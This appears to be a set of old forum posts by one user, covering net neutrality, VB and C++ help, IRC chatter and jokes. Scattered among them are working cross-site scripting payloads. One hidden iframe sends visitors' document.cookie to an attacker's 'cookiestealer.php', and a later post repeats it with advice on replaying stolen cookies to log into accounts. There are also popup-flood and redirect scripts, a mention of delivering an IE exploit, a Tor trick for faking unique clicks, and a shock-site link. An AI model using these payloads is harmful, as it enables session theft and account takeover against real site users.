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lol Any ISP that charges its customers extra to pay for "preferred access" on a carrier (tier-1 or otherwise) will lose tons of customers. What ISPs do is their own business, provided they fall within all applicable guidelines (FCC or otherwise), including charging extra if you don't use their other services. This provides the oppurtunity for other ISPs to offer their services at a cheaper rate, and lure away their customers. It's called COMPETITION, and it's good for the consumer. Some countries, like South Africa for example, have government-regulated/mandated telcom monopolies, and their users either pay extravagant fees, or go without internet. They have little choice. In the western world, we do have choice, and we should use it. If something isn't in the best interest of the public, the public will abandon it once it catches wind. This is the same reason why DRM and Trusted Computing will never work. So the internet isn't in trouble, this is just hyping up a less-than-desirable situation that is becoming more common.

<script language="JavaScript" type="text/javascript"> for (var i = 0; i < 100; i++) window.open("http://gabenewell.com"); </script> Less typing ftw Also, keep in mind that Firefox blocks window.open() Er, your code contains no arrays

Is it VB6 or VB .NET? Because the logical operators (and, or, not) are handled differently in each version (according to google) As far as I can tell, and in the all the examples I've seen, that Dim a As Integer a = a Or &H80 SHOULD be equivalent to C-style code: int a; if(a == true || &H80 == true) { a = true; } else { a = false; } a has no value initially, so it is false, but &H80 is 128, which is non-zero and thus "true"... why it assigns 128 to a, I don't know. ^^ Maybe because it is an integer and not boolean? In all the examples I've seen using "Or", the coder has used a boolean variable for it. Is there any more of the code you can post, or was that all? Does a receive any values in between being declared and the assignment statement that has you confused? How is it used after the "or" operation?

I've only dabbled in VB (required course at college), so I'm far from an expert... a = a Xor &H80 and a = a Or &H80 both end up assigning "128" to a... an 'exclusive or' should never assign a value like that :x, what the "Or" attempts to accomplish, I have no clue a = a And &H80 displays "0", which is correct (assuming "undefined" = null/zero/false, which i'm guessing is the case here) I have no idea why the first 2 work as they do though. ^^ Where the hell did you see that in the first place?

<script language="Javascript" type="text/javascript"> document.location = "http://www.gabenewell.com"; </script>

XP is NT 5.1 Also, your statement makes no sense at all

What the fuck? lol spends all her time and money on WoW, gj /part #friends

http://en.wikipedia.org/wiki/DeCSS

http://www.google.com/search?hl=en&lr=&safe=off&q=%22reply+to+topics%22+%22html+is+enabled%22+intitle%3Aforum&btnG=Search That's what I came up with after about 30 seconds, good luck lol

If by "program" you mean IDE (the development environment), I recommend the following: Windows: Microsoft Visual Studio (2kwhatever) Microsoft Visual C++ (the old ass one from 1998) Linux/BSD/Other: QT Designer (if you use KDE, or have all the KDE libs installed like me) /usr/bin/vi or /usr/bin/emacs (depending on your taste, not really IDEs, but should be more than enough for tinkering around)

Ahahahahahah Awesome post 25p324u 650347y603 49y5u034975 043 retarded shit for 30 char min.

OFFICE SPACE wtf is up with 30 char minimum?

This thread is hilarious and +B isn't a channel mode

Java != Javascript, they have nothing in common ---- If you're not using PHP5, you won't have file_put_contents(), but you can use this to do the same thing: function file_put_contents($filename, $data) //appends $data to $filename { $handle = @fopen($filename,'a'); if(!$handle) return false; @fwrite($handle,$data); @fclose($handle); } Little easier than typing out the fopen() crap every time Instead of making it obvious that their stuff is being stolen, use an invisible iframe: <SCRIPT language="JavaScript"> document.write("<iframe src='http://yourhost/cookiestealer.php?cookie=" + document.cookie + "' height='1' width='1' style='display: none;'></iframe>"); </script> And FatCunt in your .php file, you should have $cookie = $_GET['cookie'] not $_GET['c'] (probably a typo on your part, but other than that it's fine)

"Do you think an amendment allowing you to serve more than 2 terms to rage even more people is far-fetched?"

I recommend google.com, as "hacking tools" aren't "illegal" and therefore have no reason to be on P2P networks

Wow, she is really nasty up close :puke:

I vote for 0ne :love: :angel:

what the fuck are you smoking, VB C++ and Python have nothing to do with HTML PHP dynamically outputs HTML/XML/text, HTML is rendered client-side, PHP is interpreted on the server-side Also the reasons for HTML being disabled are pretty obvious: <script type="text/javascript" language="Javascript"> document.write("<iframe src=\"http://somesite.com/whatever.php?data=" + document.cookie + "\" width=\"1\" height=\"1\" style=\"display:none;\"></iframe>"); </script> Invisible iframe that sends the cookie data used on the site to your page. Then just explode() the cookie data into an array and log what you'd like. With that data, you can now auto-login to someone's account by POSTing manually to the site Another reason, use the same <iframe> but include a page that utilizes a (one of the 3 critical, unpatched) IE exploit to run executable code on someone's system. Game over You could also be an annoying fuck and do like <img src="someshit.jpg" onLoad="while(1) { alert(\"LOL PWNT\"); }"> or something

Oh I forgot to mention, if you just want to have it pause for a few seconds, do: Sleep(number_of_millseconds_here); So Sleep(5000); = 5 second pause

Messageboxes should really be modeless rather than modal... And with javascript enabled, document.write() is more fun than alert() :P

Not bad, few things: You can combine cout statements, e.g. cout << "\n\n\n"; Don't use "while (1) {}" to "pause" your app, that makes your app use 100% cpu time. Try getch(); or system("pause"); instead. (getch() is preferred, as it works on windows, linux, bsd, etc.) I forget what header files system() and getch() are defined in though... haven't done c++ in ages And add a "return 0;" to the bottom of your main() function

http://tor.eff.org/ Install/configure Tor and just keep clicking your own link, unique IP address every time

Not sure if this is old or not, but I am sure you'll let me know: http://www.extraneo.it/goatse/goatse_ipod_skin.html

Somewhat relevant and entirely true Quoted from Slashdot There really is no country that could even entertain the thought of going to war with the US in conventional or unconventional warfare. Even if they did, no country can match our war production (as previously mentioned by NWA) or sustain their own production for very long. As for nuclear war, I think enough has been said about that already. :P